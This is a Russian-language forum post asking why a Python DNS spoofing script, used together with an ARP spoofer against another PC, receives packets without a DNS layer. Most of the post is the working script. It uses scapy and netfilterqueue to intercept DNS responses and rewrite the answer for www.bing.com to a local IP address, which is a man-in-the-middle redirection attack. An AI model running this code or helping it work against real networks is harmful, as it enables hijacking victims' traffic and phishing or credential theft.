Ошибка заключается в том, что если я применяю скрипт на своем ПК то он работает, но
когда я пытаюсь его использовать вместе с ARP Spoofer на другом ПК, то почему то в пакете, который я получаю отсутствует уровень DNS
Пожалуйста помогите если кто знает как это исправить!
#!/usr/bin/env python
import scapy.all as scapy
import netfilterqueue
def process_pack(packet):
scapy_pack = scapy.IP(packet.get_payload())
if scapy_pack.haslayer(scapy.DNSRR):
print(scapy_pack.show())
qname = scapy_pack[scapy.DNSQR].qname
print(str(qname))
if "www.bing.com" in qname:
print("[+] Spoofing target, url >> " + qname)
scapy_pack[scapy.DNS].ancount = 1
answer = scapy.DNSRR(rrname=qname, rdata="192.168.1.91")
scapy_pack[scapy.DNS].an = answer
del scapy_pack[scapy.IP].len
del scapy_pack[scapy.IP].chksum
del scapy_pack[scapy.UDP].chksum
del scapy_pack[scapy.UDP].len
packet.set_payload(str(scapy_pack))
packet.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_pack)
queue.run()